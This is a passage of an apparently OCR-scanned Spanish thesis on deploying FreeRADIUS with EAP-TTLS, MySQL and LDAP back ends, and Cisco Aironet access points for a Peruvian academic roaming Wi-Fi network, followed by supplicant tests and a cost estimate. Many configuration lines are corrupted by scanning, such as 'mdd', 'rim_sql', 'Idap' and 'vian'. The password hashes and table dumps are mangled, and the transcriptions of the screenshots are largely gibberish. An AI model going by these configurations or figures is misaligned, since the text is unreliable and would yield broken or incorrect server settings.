creacion del usuario “jquinto” para 'ser autenticado a una red Wireless. En la
configuracioén, el nombre del usuario es correspondido al dominio uni.edu.pe:

Ejemplo 4.3. Creacioén del usuario jquinto en el archivo de usuarios “users” del freeradius.

DEFAULT

User-Name = "%{User-Name}’,

Fall-Through = yes

jquinto Cleartext-Password := “<clave-secreta>”

En el ejemplo 4.4 se observa la ejecucion de la herramienta “radtest’ para la
validacién del usuario jquinto@uni.edu.pe a la red inalambrica de la FIEE-UNIL.
Ejemplo 4.4. Lanzamiento de un radtest para la validacién de un usuario local.

radtest jquinto@uni.edu.pe <clave-secreta> 127.0.0.1 0 <clave-secreta>
Sending Access-Request of id 101 to 127.0.0.1 port 1812

User-Name = "jquinto@uni.edu.pe™

User-Password = "<clave-secreta>"

NAS-IP-Address = 67.215.65.132

NAS-Port =0
rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=101, length=44
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4.7.2 Configuracion del archivo de protocolos EAP

El método de autenticacion por defecto sera EAP-TTLS. Este método es enviado por
el servidor RADIUS en respuesta al mensaje “EAP-Response, Identity” por parte del
usuario.

Por otro lado, también es necesario configurar un tiempo de expiracién para las
correlaciones entre los mensajes “EAP-Request’ y “EAP-Response”. El valor por defecto
es de 60 segundos tal como se muestra en el ejemplo 4.5.

Ejemplo 4.5. Configuracion del método de autenticacién EAP en el archivo “eap.conf”

eap {
default_eap_type = ttls

timer_expire =60
ignore_unknown_eap_types = no
cisco_accounting_username_bug = no
max_sessions = 4096

Para la configuracién del directorio de certificados TLS, debemos modificar el archivo
“eap.conf’ tal como se muestra en el ejemplo 4.6.

Ejemplo 4.6. Configuracion de los parametros de configuracion TLS en eap.conf

tls {
certdir = ${confdir}/certs
cadir = ${confdir}/certs
private_key_file = ${certdir}/radius.key
certificate_file = ${certdir}/radius.uni.edu.pe.crt
CA_file = ${cadir}/ca.crt
dh_file = ${certdir}/dh
random_file = ${certdir}/random
CA_path = ${cadir}
cipher_list = "DEFAULT"

En el ejemplo 4.7 se muestra los parametros de configuracién TTLS en “eap.conf”.
Ejemplo 4.7. Configuracién TTLS en “eap.conf’

ttls {
default_eap_type = mdd
copy_request_to_tunnel = no
use_tunneled_reply = no
virtual_server = "inner-tunnel"
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4.7.3 Configuracion de los clientes RADIUS

Los Clientes RADIUS o NAS (Network Access Service) son dispositivos de acceso
con soporte AAA (Autenticacién, Autorizacién y Contabilidad) en donde los usuarios se
conectan de forma segura a una determinada red.

Para la configuracion de los clientes, es indispensable probar conectividad entre el
servidor y los Puntos de Accesos a configurar. En nuestro escenario de pruebas tenemos
configurados una red de Hot Spots con una direcciéon de subred 192.168.1.64/27. En el
ejemplo 4.8 se observa la configuracién necesaria de un Punto de Acceso con direccion
192.168.1.65 al servidor RADIUS correspondiente. A
Ejemplo 4.8. Adicién de un Punto de Acceso al servidor radius de la FIEE-UNI.

client FIEE-UNI {
ipaddr = 192.168.1.65

' netmask =32
secret = <clave-secreta>
shortname = AP-FIEE-UNI
nastype = cisco

}

También se conocen como clientes RADIUS a aquellos servidores que reenvian las
peticiones de autenticacion de usuarios a otros servidores RADIUS.

En la ejemplo 4.9 se observa la adicion del servidor RADIUS institucional de la UNI al
servidor Proxy RADIUS correspondiente al dominio .PE. Segin TABLA N° 4.3, la
direccion IP del servidor radius es 192.168.1.4.

Ejemplo 4.9. Adicién del servidor radius de la UNI al servidor Proxy Radius del Pert.

client org-UNI {

ipaddr = 192.168.1.4
netmask = 32

secret = <clave-secreta>
shortname = org-UNI

}

4.7.4 Generacion de las claves secretas

Las claves compartidas entre los servidores deben ser aleatorias y dificiles de
descifrar. En la ejemplo 4.10 se observa el uso de un programa llamado “makepasswd”
para la generacion de claves aleatorias. El tamafio de claves recomendado es de 16
- digitos hexadecimales.

Ejemplo 4.10. Generacién de claves usando makepasswd

# makepasswd --char=16
hHh5zTgdSM2qBdle
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4.8 Configuracion de los Puntos de Accesos Cisco Aironet

Para la configuracion de un Cisco Aironet con soporte AAA es necesario primero
crear un nuevo modelo AAA definiendo el servidor de autenticacién correspondiente,
luego se creara un SSID para el acceso seguro de los usuarios a la RAAP y un segundo
SSID para el acceso a otros usuarios, y finalmente se crearan los métodos de cifrados
usados en la autenticacion de los usuarios. En los ejemplos 4.11, 4.12 y 4.13 se
describen las configuraciones a seguir en un Punto de Acceso Cisco Aironet.

Ejemplo 4.11. Creacién de un modelo AAA en un Cisco Aironet

aaa new-model

aaa group server radius rad_eap

server 192.168.1.4 auth-port 1812 acct-port 1813
aaa group server radius rad_acct

Ejemplo 4.12. Creacién de SSIDs en un Puntos de Acceso Cisco Aironet

dot11 ssid TEST-UNI
vlan 109
authentication open eap eap_methods

~ authentication network-eap eap_methods
authentication key-management wpa optional
accounting acct_methods
INVITADOS

dot11 ssid INVITADOS

| vlan 103

authentication open

accounting acct_methods

mbssid guest-mode

Ejemplo 4.13. Creacion de métodos de cifrados en un Punto de Acceso Cisco Aironet.

encryption mode ciphers aes-ccm tkip wep128

encryption vlan 109 mode ciphers aes-ccm tkip wep128

encryption vlan 106 mode ciphers aes-ccm tkip wep128

broadcast-key change 600 membership-termination capability-change
broadcast-key vian 109 change 600 membership-termination capability-change

4.9 Configuracion del registro de cuentas en una base de datos SQL

En las universidades, el registro de los usuarios se encuentra almacenado en una
base de datos SQL. Para que estos usuarios puedan autenticarse a la red de la RAAP es
necesario instalar la libreria cliente apropiada al tipo de base de datos correspondiente.

Las bases de datos compatibles al servidor de autenticaciéon freeradius son cuatro:
MySQL, PostgreSQL, Oracle y MsSQL.

En la presente tesis se elegira a MySQL como el tipo de base de datos de usuarios,

luego se instalara, en el servidor freeradius, la libreria “libmysqiclient-dev”, después se
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configurara el modulo SQL con los parametros adecuados y por ultimo se afadira el
esquema de MySQL correspondiente al servidor freeradius.
A continuacién se describira mas a detalle el proceso de configuraciéon de una base

de datos MySQL y su validacién con el servidor RADIUS.

4.9.1 Esquema de base de datos MySQL

El modelo la de base de datos propuesta es mostrada en la Fig. 4.4.

radusergroup)] | tabla_test |

radcheck

Lsername PK. id PK id
- groupname groupname username
nasipaddress sittribute

nasportid

Craan ), (iwomony), (aamomieet), (e )
adréply N rmlgroupreply% radgmupclleclﬂ1 nas j
PK id. j PK id I ke i Pk ia 3
username || groupname % " groupname i nasname
attribute | sitribute | attribute” i shortname
op | op i op - type
value  |i value i value § ports
_______ et e el secret
Server
community
description {}

Fig. 4.4 Modelamiento de la base de datos propuesta
En dicha figura se observa siete tablas, cada una de ellas define ciertos campos, por
ejemplo;
a. Tabla tabla_test

La siguiente tabla almacenara ciertos campos como por ejemplo la direccién IP del

NAS (Autenticador), el puerto del NAS y el nombre un grupo de usuarios (Ver Fig. 4.5).

mysql> select * from tabla_test;

R Fommmmm i mm e dmmm e +
| id | groupname | nasipaddress | nasportid |
Rt SRR e T +
| 1 | tesis | 192.168.1.65 | NULL 1
R Fommmm e Fmmmm - - +

1 row in set (0.06 sec)

Fig. 4.5 Campos de la tabla "tabla_test"
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b. Tabla radcheck

En ésta tabla se almacenaran los usuarios de la institucion correspondiente el cual
seran autenticados por un servidor RADIUS (Ver Fig. 4.6).

mysql> select * from radcheck;

----- D T R el I R A e i i 3
| id | vsername | attribute | op | value |
LR RN R e I I R el R R LRI R I T e R R I +
| & ] jquinte | Password- Hith Header | 3= | {sha}338638370flﬁbfcedesdqdibdcffanaﬂdeéqdbo |
I 2} vuser®dl | Password-With-Header | := | {sha}6bb74655fbbdf5ctct8274932d15e7dedarf497f |
[ 2 ] user@2 | Password-with-Header | :z | {sha}g8ed6fc92359d3904d38d22azedffcdrca24f7ea |
Rl S i L A R il i I e i i i I i +

3 rows in set {G.06 sec)

Fig. 4.6 Campos de la tabla "radcheck"
c. Tabla radreply
En ésta tabla se creara entradas por cada atributo de respuesta para un usuario en

especifico (Ver Fig. 4.7).

mysgql> select * from radreply;

s T E e e et TSP +
| id | username | attribute | op | value |
R R R et e R +
| 1 | jquinto | Framed-IP-Address | := | 192.168.10.5 |
| 2 | user@i | Framed-IP-Address | := | 192.168.10.6 |
| 3 | user@z | Framed-IP-Address | := | 192.168.10.7 |
| 4 | user®2 | Framed-MTU | := | 1500 I
| 5 ] jguinto | Framed-MTU | := | 1506 [
e m - Focmmm e e e S +

5 rows in set (0.00 sec)

Fig. 4.7 Campos de la tabla "radreply"
d. Tabla radusergroup

En ésta tabla se crearan correspondencias entre los nombres de usuarios y grupos
(Ver Fig. 4.8).
mysql> select * from radusergroup;

Fommmm oo R R +
| username | groupname | priority |
e it oo mmmm - LR +
| jguinto | estatico | 16 |
| user6il | dinamico | 20 |
| usero2 | otros | 30 |
i e e i +

3 rows in set (0.00 sec)

Fig. 4.8 Campos de la tabla "radusergroup"
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e. Tabla radgroupcheck

En ésta tabla se crearan correspondencias entre un atributo especifico y el nombre

de un grupo. (Ver Fig. 4.9).

mysgl> select * from radgroupcheck;

e i A +
| id | groupname | attribute | op | value |
L i S +
| 1 | estatico | Huntgroup-Name | := | tesis |
| 2 | dinamico | Auth-Type | := | LDAP |
| 3 | otros | Auth-Type | := | LOCAL |
el e e e T R R TR +

3 rows in set (06.00 sec)

Fig. 4.9 Campos de la tabla "radgroupcheck"
f. Tabla radgroupreply

En ésta tabla se crearan atributos de respuestas a un grupo especifico de la tabla

“radusergroup” (Ver Fig. 4.10).

mysqgl> select * from radgroupreply;

e R i it e D e +
| id | groupname | attribute | op | value ]
R R e e +
| 1 | estatico | Framed-MTU | == | 1500 |
| 2 | estatico | Framed-Compression | := | Van-Jacobsen-TCP-IP |
| 3 | estatico | service-type | := | Framed-User |
[ 4 | dinamico | Framed-Compression | := | Van-Jacobsen-TCP-IP |
| 5 ] dinamico | Service-Type | := | Framed-User |
R oo s s e e +

5 rows in set (0.00 sec)

Fig. 4.10 Campos de la tabla "radgroupreply”
g. Tabla nas

En ésta tabla se afiadiran los campos correspondientes a los clientes RADIUS (Ver
Fig. 4.11).

mysql> select * from nas;

R L SEEEEEEE R R e o oo oo R i R EEEEEEE R EEEEEEEETTEEEE +
| id | nasname | shortname | type | ports | secret | server | community | description |
s SEL LT LR R At Fo-mmme- R R TR Fommmm e Fommmmmenes S RELEEEE TR +
| 1] 192.168.1.65 | cisco | other | 0 ] clave-secreta | 192.168.1.5 | NULL | Cliente RADIUS |
s SRR e T R bt oo oo R R R dremmmmmeeee R EEEEEEE TR T R e +

1 row in set (0.00 se¢)

Fig- 4.11 Campos de la tabla "nas"
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4.9.2 Validacion de tablas propias con un servidor Freeradius

Para la construccién de la tabla, por ejemplo “tabla_test” es necesario crear los
campos columnas con los tipos de datos cprrespondientes, luego agregar valores de la
tabla como sentencia SQL dentro del bloque “Authorize” del archivo radiusd.conf. En el
ejemplo 4.14 se observa la forma de como incluir la tabla “tabla_test” en uh servidor
freeradius.

Ejemplo 4.14. Validacién de una tabla de datos en un servidor freeradius

- update request { ‘
Huntgroup-Name = "%{sql:SELECT ‘groupname’ FROM ‘tabla_testt WHERE
nasipaddress="%{NAS-IP-ADDRESS}'}"

4.9.3 Conectividad al servidor Freeradius

En el ejemplo 4.15 hemos modificado el archivo “sql.conf’ para la conexién a la base
de datos de pruebas MySQL.
Ejemplo 4.15. Configuracién de un cliente SQL para el servidor freeradius

sql {
database = "mysql"
driver = "rim_sql_${database}"
server = 192.168.1.5
port = 3306
login = "jquinto"
password = "<clave-secreta>"
radius_db = "freeradius”

Para que el servidor Freeradius pueda autorizar a los usuarios de una base de datos
es necesario descomentar las lineas SQLs pertenecientes al archivo radiusd.conf como
se muestra en el ejemplo 4.16
Ejemplo 4.16: Parametros para configurar la autorizacién de usuarios SQL

authorize {
preprocess

update request {

Huntgroup-Name := "%{sql:SELECT “groupname’ FROM ‘tabla_test WHERE
nasipaddress="%{NAS-IP-ADDRESS}}"

}
chap
mschap
suffix

eap {
ok = return
}

files

sql
expiration
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logintime
pap

accounting {
radutmp
sql
sql_log
attr_filter.accounting_response

4.9.4 Asignacion de los permisos

En el ejemplo 4.17 se observa la asignacién de los permisos necesarios al usuario
“jquinto” para su acceso a la base de datos “freradius_uni”.
Ejemplo 4.17. Asignacion de permisos usando MySQL.

mysql -u root -p
, Enter password:

mysqgl> create user jquinto@<IP-con-permiso-de-usuario> identified by '<clave-secreta>";
Query OK, 0 rows affected (0.10 sec)

mysql> create database freeradius_uni;

Query OK, 1 row affected (0.03 sec)

“mysql> Grant all privileges on freeradius_uni.* to 'jquinto'@'<IP-con-permiso-de-usuario>"'
identified by '<clave-secreta>' with grant option;

Query OK, 1 row affected (0.01 sec)

4.9.5 Uso de realms en una base de datos

Los usuarios de las instituciones tienen asignados una cuenta de correo electronico,
por ejemplo: jperez@uni.edu.pe, el alias de éste usuario es “jperez’ y su dominio
institucional es “uni.edu.pe”, entonces a dicho dominio se le conoce como “realm” de la
institucién.

En la configuracién por defecto del servidor Freeradius solo se autoriza nombres de
usuarios y no hace la distincién con el realm de su institucién, por lo que es necesario
hacer una modificacion al archivo “../sql/mysgl/dialup.conf’ del paguete freeradius come
se muestra en el ejemplo 4.18. '

Ejemplo 4.18. Uso de los reaims en una base de datos SQL

# Descomentamos la siguiente linea
sql_user_name = "%{%{Stripped-User-Name}:-%{%{User-Name}.-DEFAULT}}"

# Comentamos esta linea
#sql_user_name = "%{User-Name}"
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4.10 Configuracion de un servidor de directorio LDAP

Después de instalar el servidor LDAP, se procedera a fa configuraciéon de los servicio

de directorio.

4.10.1 Modificacion del archivo de configuracion LDAP

En el archivo config.php se modificara la siguiente linea:
Reemplazaremos esta linea:
#$servers->setValue('server','name’,'My LDAP Server');

~ Por esta linea:
$servers->SetValue('server','base’,array('dc=uni,dc=edu,dc=pe'));

4.10.2 Configuracion del directorio principal LDAP
Copiamos el esquema Idap del servidor RADIUS al directorio /etc/openidap/schema/

-editando el archivo “slapd.conf’. (ver ejemplo 4.19)
Ejemplo 4.19: Configuracion del directorio LDAP .

database bdb

suffix "dc=uni,dc=edu,dc=pe"
rootdn "cn=freeradius,ou=admins,ou=radius,dc=uni,dc=edu,dc=pe"
rootpw <clave-secreta>

directory  /var/lib/ldap

4.10.3 Creacion del arbol de directorio LDAP

En un archivo con extension “idif’ se creara el arbol de directorio LDAP. En el ejemplo
4.20 se observa la creacion del archivo estructura-ldap-uni.ldif.
Ejemplo 4.20: Esquema principal del directorio LDAP propuesto.

# Creando la organizacion raiz del directorio
dn: dc=uni,dc=edu,dc=pe

objectClass: dcObject

objectClass: organization

dc: uni

o: UNI

description: Universidad Nacional de Ingenieria

# Creando una Organizacion General
dn: ou=radius,dc=uni,dc=edu,dc=pe
objectClass: top

objectClass: organizationalUnit

ou: radius

dn: ou=users,ou=radius,dc=uni,dc=edu,dc=pe
objectClass: top

objectClass: organizationalUnit

ou: users
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dn: ou=profiles,ou=radius,dc=uni,dc=edu,dc=pe
objectClass: top

objectClass: organizationalUnit

ou: profiles

#Creando el Rol de Administrador

dn: cn=freeradius,ou=admins,ou=radius,dc=uni,dc=edu,dc=pe
objectCiass: organizationalRole

cn: freeradius

description: Administrador de Directorio

4.10.4 Importacion de la estructura del directorio LDAP

Para anadir una entrada al directorio de trabajo LDAP es necesario saber cuél es la
estructura dentro de la base de datos utilizadas por LDAP. Para nuestro caso sera “dn:
cn=freeradius, ou=admins, ou=radius, dc=uni, dc=edu, dc=pe” como se muestra en el
ejemplo 4.21.

Ejemplo 4.21. Importacion de entradas usando la herramienta “Idapadd”.

Idapadd -x -h 192.168.1.6 -w secret —-D “cn=freeradius,ou=admins,ou=radius,dc=uni,
. dc=edu,dc=pe” —f tesis.Idif

4.10.5 Configuracion de un cliente LDAP en un servidor RADIUS

En el ejemplo 4.22 se observa los parametros necesarios en la configuracion del
servidor RADIUS para poder realizar consultas a un servicio de directorio LDAP. Para ello
se modificara el archivo “../raddb/modules/idap”.

Ejemplo 4.22. Configuracién de un cliente LDAP para un servidor freeradius

Idap {
server = 192.168.1.6:389
identity = "cn=freeradius,ou=admins,ou=radius,dc=uni,dc=edu,dc=pe"
password = <clave-secreta>
basedn = "ou=users,ou=radius,dc=uni,dc=edu,dc=pe"
filter = "(uid=%{%{Stripped-User-Name}:-%{User-Name}})"
filter = "dialupAccess=%u"
base_filter = "(objectclass=radiusprofile)"

Para autorizar las consultas de los usuarios registrados a un LDAP, se necesita
configurar ciertos parametros dentro del archivo de configuracién global de freeradius
como se muestra en el ejemplo 4.23.

Ejemplo 4.23. Parametros de configuracién de usuarios LDAP.

authorize {

Idap
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}

authenticate {

Auth-Type LDAP {
Idap

}

4.10.6 Esquema para un directorio LDAP conectado al servidor RADIUS.

En la Fig. 4.12 se observa la estructura del directorio LDAP propuesto para el
desarrollo de la tesis. Este esquema contiene la administracién de usuarios y otros
perfiles necesarios para las configuraciones del LDAP.

TN

{ Jdc= uni, de=edu, de=pe
S

e

I

an “‘\’

{ ou = radius
)I

\\T/

ou = Aldmins ou = Usuarios ou = F’Lrﬁles
OO O
- ; o
! \‘h ! / Il'l f’fl‘l llﬁ
OO OO, OO
- uid={usuarios UNI} Uid={vlans UNI}

cn=lreeradius
Fig. 4.12 Estructura del directorio LDAP propuesto

4.10.7 Creacion de usuarios LDAP para la autenticacién de usuarios

En la Fig. 4.13 se observa la creacion del usuario “Javier Richard Quinto Ancieta” con
cuenta de correo jquinto@uni.edu.pe usando una plataforma web en PHP y en la Fig.

4.14 los atributos necesarios usados en la creaciéon del mismo usuario.
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Fig. 4.14 Atributos usados para la creacion de un usuario LDAP
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CAPITULO V
PRUEBAS DE OPERATIVIDAD

5.1 Pruebas de conectividad con el Servidor Proxy RADIUS

En el ejemplo 5.1 se valida las credenciales de un usuario visitante a la UNi con
dominio “inictel-uni.edu.pe”. Este usuario intenta conectarse a la RAAP desde el campus
de la UNI.

Ejemplo 5.1. Validacién remota de un usuario visitante al campus de la UNI con

cuenta de dominio institucional “inictel-uni.edu.pe”

radtest jquinto@inictel-uni.edu.pe <clave-secreta> <IP-Proxy-Radius-PE> 0 <clave-secreta>
Sending Access-Request of id 205 to <IP-Proxy-Radius-PE> port 1812
User-Name = "jquinto@inictel-uni.edu.pe”
User-Password = "<clave-secreta>"
NAS-IP-Address = <IP-Address-NAS>
NAS-Port=0
rad_recv: Access-Accept packet from host <IP-Proxy-Radius-PE> port 1812, id=205, length=48
User-Name = "jquinto@inictel-uni.edu.pe"

En la ejemplo 5.2 se muestra la validacion remota de un usuario de la UNI con cuenta
de acceso jquinto@uni.edu.pe. Este usuario intenta conectarse a la RAAP desde otra
institucion, por ejemplo INICTEL-UNI.

Ejemplo 5.2. Validacién remota de un usuario de la UNI a la RAAP,

radtest jquinto@uni.edu.pe <clave-secreta> <IP-Proxy-Radius-PE> 0 <clave-secreta>
Sending Access-Request of id 198 to <IP-Proxy-Radius-PE> port 1812
User-Name = "jquinto@uni.edu.pe”
User-Password = "<clave-secreta>"
NAS-IP-Address = <IP-Address-NAS>
NAS-Port=0
rad_recv: Access-Accept packet from host <IP-Proxy-Radius-PE> port 1812, id=198, length=46
User-Name = “jquinto@uni.edu.pe”

5.2 Pruebas de autenticacion local desde un suplicante en Windows

5.2.1 Usando la herramienta de software propietario Broadcom Corp-

En la Fig. 5.1 se muestra los parametros necesarios para la configuracién de un

suplicante en Windows XP.




Herramienta de configuracion inalémbrica avanzada

Nombre de red (SSID): l'TEST-UNI

[] Esta es una red de equipo a equipo (ad hac).

Autenticacion de red:

[802.1 ~]
Métoda EAP . :
elore Método EAP intemno
LS . |pap ~

Activar Cisco Client eXtensions en esta red

2| [ Nombre de usuario/Contrasefia ll i1 Identidad del cliente

s
[15olicitar nombre de usuario y contrasefia
[ Utitizar el hombre de usuario y la contrasefia de Windows
i ncluir & dontinio de Windows
Dominio\Nombie de usuario: iiQUinlO@un'Ledu.De l
Contrasefia; F"“" |
Canfirmar contrasefia; I-»un l
[ Usar el Asistente ] [‘ Aceptar ]] [ Cancelar I

Fig. 5.1 Autenticacioén desde un suplicante en Windows
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En la Fig. 5.2 se observa la autenticacién de un usuario. En dicha autenticacion, se

adjunta el certificado digital emitido por la autoridad certificadora correspondiente al

servidor RADIUS y en la Fig. 5.3 se muestra la veracidad de dicho certificado.

Nombre de red (SSID): ‘TEST-UNI

" Estaes umated de equino 3 2qupe lad hocl.

Autenticacién de red: [e21%
Stodo EAP .
Método Método EAP intemo
[riis ] [P o]
[ Activar Cisco Client eXtensions en esta red —
Emitido a
TR T raorys =T I Bt DT Reahse ™~ T T
{'C3 Idertidad el chiente] L1 Identidad del servidor | BT T A
i ifi i DSTCAE1
[#]validar et certificado del servidor DeTCAE?

Entidad emisora:

I Pesmitic el uso de certificados intermedics

" Nombre de servidor:

3
O El nomiue del servidor debe coincidir exal
(2 El nombre de dominio debe terminar con

Dieing de uns Apttidad Cedficadofapata N
Deutsche Telekom Root CA 1
Deutsche Telekom Root CA 2

DigiCert High Assurance EV Roaot CA

EUnet Intemational Root CA

Entrust net Secure Server Certification Authority
Equifax Secure Certificate Authority

P

Emitido por

T 'DSTRoalCAX2” 1
DST-Entrust GT...

DSTCAE1
DSTCAE2

Deutsche Telek...
Deutsche Telek...
DigiCernt High As...
EUnet Internatio...
Entrustnet Sec...

Equifax Secure ...

08/ |
J

Fig. 5.2 Autenticacion con certificado digital desde un suplicante en Windows




[‘Q;:e;iif{ca&o;a Persanal de Javier Richard 6&%;1E;J-Anéietqa. B " Demode una Aleér}dad Certificador...

26]03}2013
Certificado,
| General ! Detalles | Ruta de certificacion L
Ruta de certificacién - — - -

Demo de una Autoridad Certificadora para la UNI
i B e { certiticadora Persarial ds Jawier Richard Quinto Andets.
i

Estado del certificado:

Certificado vélido.

Fig. 5.3 Verificacién del certificado digital de un suplicante en Windows

5.2.2 Usando la herramienta XSupplicant en software libre

E! programa XSupplicant es un suplicante valido en plataformas Windows y que

permite configurar distintos métodos de autenticacién para el acceso a una red
inalambrica.

En la Fig. 5.4 se muestra los SSIDs disponibles para el acceso a una red wi-fi,
escogeremos el SSID “TEST-UNI” para las pruebas de laboratorio.

) Connection Wizard - X'Supp,lica}n. B

Inlerpize BOYAX Aulh

tizdlion

(o) _XSupplicant f{)penSgA ,

- Chooss Wireleas Metwork

Choose a wireless network from the list to connect to, or choose “Gther to enter
network information manually.

(&) Visible Network

Metwork Name ! signal ¥ !
AAT-RAAP

Security |2
1] 32% iWEP

LABORATORIO_2 {50l 30%  |WPA2-Personal |

seguridad

L] 100% |
’ - — _.

+ (O Other

I | Baék

( Car;cel I [ Next> ]

Fig. 5.4 Seleccion del SSID usado en el Autenticador
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En la Fig. 5.5 se muestra la configuracion de las credenciales de usuario usando

XSupplicant.

;‘:@‘,C.onn?cﬁpr{\?;i'zq_‘rd. -~ XSupplicant

<DpenSEA

ALLIANCE

XSupplicant

Snternrize 02 JX Adlhentitalion

s Crsate Mew Connsction>> Cradantials

; How would you like to obtain credentials? {If you are unsure, use the default selting) 5

‘ ; ol
T > Prompt for credentials {defaulf) .
i | (3 Store Credentials
: ] ‘Username : ] jouinto@uni.edu.pe ] " ?;‘
Password : quuuu[ } v
o ' T

Fig. 5.5 Configuracién de las credenciales de usuario usando "Open1X"

En la Fig. 5.6 se comprueba la autenticacion de un usuario a la red WIFI de la UNI.

EFiIe Tools  Help

T PR Y ALLIANCE.!
Salerpridie B02.T8 Aulnenlicalion . .

% XSupplicant / <DpenSEA

"“'lf‘;fi}eless-'t Vyired !;

Adapien: ’Broadcom 802.11b/g WLAN - (Wireless Network Connection) Lﬂ 1 |
e o e i e e i e et e s e e |

| Connsction: | TESIS-FIEE-JQUINTO , +| [ Disconnect | ; |,
— i
| Staus: Connected (00:00:06) | L
| Mevwork: £ TEST-UNI :

Fig. 5.6 Autorizacion de un usuario en Windows usando “Open1X”
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5.3 Pruebas de autenticacion de suplicante en Linux

Para configurar la conexién hacia una red inalambrica desde un usuario Linux,
necesitaremos tener instalado Network Manager. En la Fig. 5.7 se muestra la
configuracién de los parametros del usuario para su acceso inalambrico y en la Fig. 5.8

su validacion a la red.

 ®O©®@ Eeditando TEST-UNI

Nombre de la conexion: i]}EVSAT-UNI I

4 Conectar automaticamente

Inaldmbrica . Ajustes de IPva: Ajustes de IPv6 + Seguridad inalambrical

i
i et e = e e b e o P—— -

Sequridad: “}WPAyWPAZ enterprise Ra

i

i
i

| Autenticacién: 4 TLS & través de tdnel

Identidad anénima: |

Certificado CA: {iL;“I_ ca.crt 2 FJ

| L
Autenticacioninterna: | PAP v

Nombre de usuario: {jquinto@u_ni.edu.pe

{

Contrasefa: {sesanseane

I_1 Preguntar esta contrasefia cada vez
I_! Mostrar la contrasena

& Disponible para todos tos usuarios - | Cancelar j 'LGuardarh. |

Fig. 5.7 Configuracion de las credenciales de un suplicante en Linux

2 m = dx 116

LD
Seha establecido la conexion

Fig. 5.8 Autorizacion de un usuario en Linux
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5.4 Pruebas de autenticacion de suplicante en MAC

Para los usuarios que utilicen dispositivos moéviles MAC, los parametros de

configuracion son como se muestra en la Fig. 5.9 y en la Fig. 5.10 su validacién a la red.

Elija un tipo de seguridad e introduzca el nombre de |a red
AirPort para conectarse €on una contrasefia opcional.

Nombre de Ia red: Q;T’EST—UNI » k_v}
Seguridad red inalimbrica: © WPA Empresa 3

Usuario. jquinto@uni.edu.pe i

e =g nee = et v eyt - it 2 J——

- |
Contrasefia: sssessescs

Configuracién 802.1X: "TTLS - PAP ;JH

fi) { Cancelar ‘1 éW@Kw§

Fig. 5.9 Configuracion de las credenciales de un usuario en MAC

B0OOo ~ AirPort -l

@ § 4
imen | Blueto e

|
Resumen | Bluetooth | AirPort

AirPort: Activado (_ Desactivar AirPort )
Red: ' TEST-UNI | 44
vael deseiic: # @ A O 8 QN OO0 0O NON0D0D0

N° de Iz estacion base: 00:26:0A:6F.AF:70
M) Mostrar estado de AirPort en [a barra de ments

Estado: Conectado a “TEST-UNI"

Fig. 5.10 Autorizacién de un suplicante en MAC

5.5 Pruebas de autenticacion remota usando un cliente en Windows

En la Fig. 5.11 se observa la configuracién de las credenciales de un usuario con

dominio “inictel-uni.edu.pe” visitante al campus de la UNI.
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ITL=255
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é o 45 _65: hytes=32 tiempo=ims TTL=285
- Aulenticacidn B - R ——
. Wétadn EAP . s
e -B;‘-‘eicdo’-ﬁAP m‘emo -
- {rap )

I
i . ?iTLs i
t T p

L___]Actwaf Cisco Client Mamsxms eh esta ied

"‘,,3) - Hombie de usuario/Contiasedia | | E1. Identidad ded clierite }

[y

ey b

D'Sclicitar nombse de risLiala Y eontrasena
{3 Uthizar ef nosnlie de usuario » la cortrasefia de Windows

U et ol detein de Windeas

KAty

Dosirio\Nombre de wsuatio: k jquin_td@inic'tel-dni. éﬂu.-pe I

Contiasefia; g'“"“' 1

Confiltnar contrasedia: g........ J

Fig. 5.11 Configuracién de las credenciales de un usuario con dominio "inictel-uni.edu.pe"

En ésta figura se demuestra la autenticaciéon remota a la RAAP de un usuario visitante

jquinto@inictel-uni.edu.pe usando el método de cifrado EAP-TTLS-PAP. De ésta manera,

se comprueba la itinerancia de los usuarios de las redes académicas del Peru.
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CAPITULO VI
ESTIMACION DE COSTOS Y TIEMPO

6.1 Estimacion de costos

Los costos de infraestructura usada para la presente tesis se realizaron en base a la
mano de obra y de algunos componentes en hardware y software utilizados para su

desarrollo.
a) Costos de Componentes en Hardware

Los costos en hardware para llevar a cabo la implerhentacic’)n de la infraestructura
propuesta en la UNI son: un servidor Radius, 24 Access Points (dos por cada facultad y
dos en el pabellén central) y un Switch Catalyst Cisco.

En la Tabla N° 6.1 se resume las caracteristicas, precios de cada componente y el
precio total estimado de 60690 soles para la implementacion de la infraestructura
propuesta y en la Tabla N° 6.2 se detalla los componentes en software utilizados.

TABLA N° 6.1 Costos de componentes en hardware

te . . ‘ Canti | Precio Unitario | Precio Total
m | Descripcién Marca Modelo/Producto | dad - (.IS) (.IS)
Punto de Cisco AIR-AP1242AG-
1 Acceso Aironet -~ AK9 24 2370 56880
Servidor Compatible | - Compatible 1 3000 3000
3 Switch Cisco 2950 1 810 810
' ‘ A 60690

b) Costos de Componentes en Software

TABLA N° 6.2 Costos de componentes en software

ite _ ; .| Canti Precio Precio

m Descripcién Marca |'Modelo/Producto| dad | Unitario (./S)| Total (./S)

1 Software Libre | Debian Squeeze 1 ~ 0.00 0.00

2 | Software Libre | Centos Centos | 1 0.00 0.00

3 | Software Libre | Open1X | . Xsupplicant 1 0.00 _0.00
0.00

Es importante tener presente que no se han incurrido en costos de software por

haberse utilizado software libre en el desarrollo de la solucion.
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Los costos restantes son los de la mano de obra para las pruebas y configuraciéon de
los servidores utilizados, el modelamiento de la base de datos y del arbol de directorios
LDAP. |

6.2 Estimacion de tiempo

En la Tabla N° 6.3 se observa las actividades por cada mes'y el tiempo estimado
correspondiente a dicha actividad para lo cual se llevaria a cabo la implementacién de la
infraestructura propuesta en la UNI. En dicha tabla se asume como fecha de inicio de las
actividades en Enero del 2013 y tiene un tiempo de duracibn de cuatro meses
aproximadamente.

TABLA N° 6.3 Estimacién del cronograma de trabajo de la tesis

M E M| A
e ACTIVIDAD TIEMPO alb
t ESTIMADO r r
a 2013 z i
o |

© ™ ®d® 3
O O=TTO® M

1 | Instalacién y configuracion del sistema | 1 mes
operativo Linux.
2 | Implementacion de un servidor RADIUS para | 1 mes
la UNI.
3 | Configuraciéon de las firmas digitales para el | 1 mes
servidor RADIUS
4 | Configuracién de los Puntos de Accesos por | 2 meses
cada facultad
5 | Configuracién de las VLANs en el Switch | 1 mes
Cisco Catalyst.
6 | Pruebas de operatividad usando distintos | 1 mes
dispositivos y sistemas operativos

Estos tiempos valorizados en salario representan en costo un monfo de S/. 0.
Este monto es del costo de desarrollo. El precio si seria otro monto totalmente distinto
por los demas conceptos involucrados en la determinacion del precio de un producto y

que no son objeto del presente trabajo.
